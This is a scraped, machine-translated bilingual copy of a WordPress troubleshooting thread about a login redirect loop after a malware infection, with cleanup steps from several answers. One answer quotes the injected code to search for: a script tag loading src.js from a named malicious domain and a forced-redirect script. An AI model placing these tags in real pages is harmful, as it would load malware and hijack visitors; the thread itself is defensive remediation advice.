简体   繁体   English

找不到 wp-login.php 和 wp-admin 404 上的太多重定向

[英]Too many redirects on wp-login.php and wp-admin 404 not found

am having issues with my wordpress website.我的 wordpress 网站有问题。 I can't login in at all.我根本无法登录。 When I try to goto wp-admin I get a 404 page not found error and it redirects to wp-login.php (wp-login.php?redirect_to=https%3A%2F%2Fmycrazywebsite.com%2Fwp-admin%2F&reauth=1)当我尝试转到 wp-admin 时,出现 404 页面未找到错误,它重定向到 wp-login.php (wp-login.php?redirect_to=https%3A%2F%2Fmycrazywebsite.com%2Fwp-admin%2F&reauth= 1)

When I goto just wp-login.php I get an error saying redirected you too many times.当我只转到 wp-login.php 时,我收到一条错误消息,提示您重定向了太多次。

I have tried the following:我尝试了以下方法:

Clearing my cookies - Did not work清除我的 cookie - 没有用

I checked my siteurl and home in wp-options in my database - Both are correct.我在我的数据库中的 wp-options 中检查了我的 siteurl 和 home - 两者都是正确的。

Added the following code to wp-config.php:将以下代码添加到 wp-config.php:

define('WP_HOME' , 'https://mycrazywebsite.com'); define('WP_SITEURL' , 'https://mycrazywebsite.com');

Removed my .htaccess file删除了我的 .htaccess 文件

Added the following code to wp-config.php将以下代码添加到 wp-config.php

if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) $_SERVER['HTTPS']='on';

None of them worked...Please help I have been struggling with this for days?他们都没有工作......请帮助我已经为此苦苦挣扎了好几天? Would it effect my site if I replace my wp-admin with a fresh one?如果我用一个新的 wp-admin 替换我的网站会影响我的网站吗?

PLEASE NOTE:请注意:

this website was effected by the temp.lowerbeforwarden.ml virus that is going around.该网站受到temp.lowerbeforwarden.ml病毒的影响。

I would say that it isn't an issue with your Apache configurations since it all started after your site was affected by a virus.我想说这不是您的 Apache 配置问题,因为这一切都是在您的网站受到病毒影响之后开始的。

  • Create a copy of wp-config.php and download it.创建wp-config.php的副本并下载它。

  • Go to wp-includes directory and look for a file called version.php .转到wp-includes目录并查找名为version.php的文件。 See the WordPress version that you have.查看您拥有的 WordPress 版本。

在此处输入图片说明

在此处输入图片说明

  • Upload and extract.上传和提取。

在此处输入图片说明 在此处输入图片说明

  • Rename wp-config-sample.php to wp-config.php .wp-config-sample.php重命名为wp-config.php Define the DB Credentials and Authentication keys (remember, you saved the old copy of wp-config.php! copy-paste details wherever needed but don't upload the old one unless you are absolutely sure that there's no malicious code in it)定义数据库凭据和身份验证密钥(请记住,您保存了 wp-config.php 的旧副本!在需要的地方复制粘贴详细信息,但除非您绝对确定其中没有恶意代码,否则不要上传旧的)

在此处输入图片说明

  • Go to /wp-content/plugins directory and make a note of all the plugins installed.转到/wp-content/plugins目录并记下所有已安装的插件。 Delete all of them.删除所有这些。 Get all those plugins from WordPress repositories and upload the zip files and extract them.从 WordPress 存储库中获取所有这些插件并上传 zip 文件并解压缩它们。

  • Go to your phpMyAdmin and run this query (your table name may vary, it should be wp_posts or maybe in this format wpXX_posts, just check that):转到您的 phpMyAdmin 并运行此查询(您的表名可能会有所不同,它应该是 wp_posts 或者可能采用这种格式 wpXX_posts,只需检查一下):

    select * from wpXX_posts where post_content like '%script%'

在此处输入图片说明

  • Review the data in post_content for each row and remove any malicious javascript code.查看post_content中每一行的数据并删除任何恶意 javascript 代码。 (Copy data from that cell, paste in a text editor, review, delete everything from that cell and put back the reviewed data) (从该单元格复制数据,粘贴到文本编辑器中,查看,删除该单元格中的所有内容并放回已查看的数据)

    Examples (similar things to look for):示例(要查找的类似内容):

<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script> <script type='text/javascript'>window.location.href = "SOME_URL";</script> <script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script> <script type='text/javascript'>window.location.href = "SOME_URL";</script>

Also, look for any Google Analytics or tracking scripts that you didn't add.此外,查找您未添加的任何 Google Analytics 或跟踪脚本。

  • Go to wp-contents > themes and delete all theme folders.转到wp-contents > themes并删除所有主题文件夹。 Upload your theme's zip file and extract and put there.上传您的主题的 zip 文件并解压缩并放在那里。

  • Everything should be working by now.现在一切都应该正常了。 One last step, log in to your WordPress dashboard, go to settings > permalinks and scroll down and click 'save changes'.最后一步,登录您的 WordPress 仪表板,转到settings > permalinks并向下滚动并单击“保存更改”。

This error could occur when there is no storage space left on device where MySQL store data.当 MySQL 存储数据的设备上没有剩余存储空间时,可能会发生此错误。

Wordpress is unable to save session data in database and redirects to login page with &reauth=1 . Wordpress 无法将会话数据保存在数据库中,并使用&reauth=1重定向到登录页面。

Try this below steps:请尝试以下步骤:

  1. Turn on debugging log in wp-config.php file.在 wp-config.php 文件中打开调试日志。

  2. Disable plugins one by one by rename plugin folder and check site working or not in /wp-content/plugins/ path.通过重命名插件文件夹并在 /wp-content/plugins/ 路径中检查站点是否正常工作来一一禁用插件。

  3. Rename .htaccess, wp-config.php file & upload new .htaccess, wp-config file from freshly downloaded wordpress & update your db name, db user & db password in wp-config.php file.重命名 .htaccess、wp-config.php 文件并从新下载的 wordpress 上传新的 .htaccess、wp-config 文件并在 wp-config.php 文件中更新您的数据库名称、数据库用户和数据库密码。

  4. Mostly virus affected websites injected with some anonymous files.大多数受病毒影响的网站注入了一些匿名文件。 So check any unknowing files available in public_folder.因此,请检查 public_folder 中可用的任何未知文件。

  5. Repair all your database tables in phpmyadmin by this syntax: "repair table "通过以下语法修复 phpmyadmin 中的所有数据库表:“修复表”

You can try this你可以试试这个

  1. Try to debugging by disabling the plugins.尝试通过禁用插件进行调试。 It could be problem because of version mismatch.由于版本不匹配,这可能是问题。

  2. Change old wp-config with new wp-config.用新的 wp-config 更改旧的 wp-config。

  3. For virus attacking just check any anomalie files.对于病毒攻击,只需检查任何异常文件。 it can only effect in root folder.它只能在根文件夹中生效。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 Wordpress 将 wp-admin 重定向到 wp-admin/wp-login.php - Wordpress Redirect wp-admin to wp-admin/wp-login.php example.com/wp-login.php将我重定向到example.com/example.com/wp-admin - example.com/wp-login.php redirects me to example.com/example.com/wp-admin 无法登录 wp-admin(重定向到主页),但可以登录 wp-login.php - Cant login to wp-admin (redirecting to homepage), But CAN login to wp-login.php WordPress-/ wp-admin /登录后重定向到/wp-login.php - Wordpress - /wp-admin/ redirecting to /wp-login.php, when logged-in 如何在Wordpress中将/ wp-admin页面重定向到另一个页面(不是wp-login.php)? - How to redirect /wp-admin page to another page (not wp-login.php) in wordpress? 停止WooCommerce将wp-login.php和wp-admin重定向到帐户页面 - Stop WooCommerce redirecting wp-login.php and wp-admin to account pages "WordPress、nginx 代理和子目录:wp-login.php 重定向到域" - WordPress, nginx proxy and subdirectory: wp-login.php redirects to domain wp-login.php 重定向到服务器站点,而不是 locahost - wp-login.php redirects to server site, not locahost 如何在wordpress上重命名wp-login.php,wp-admin.php和wp-folder? - how to rename wp-login.php, wp-admin.php and wp-folder on wordpress? Woocommerce 商店页面重定向到 wp-admin - Woocommerce shop page redirects to wp-admin
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM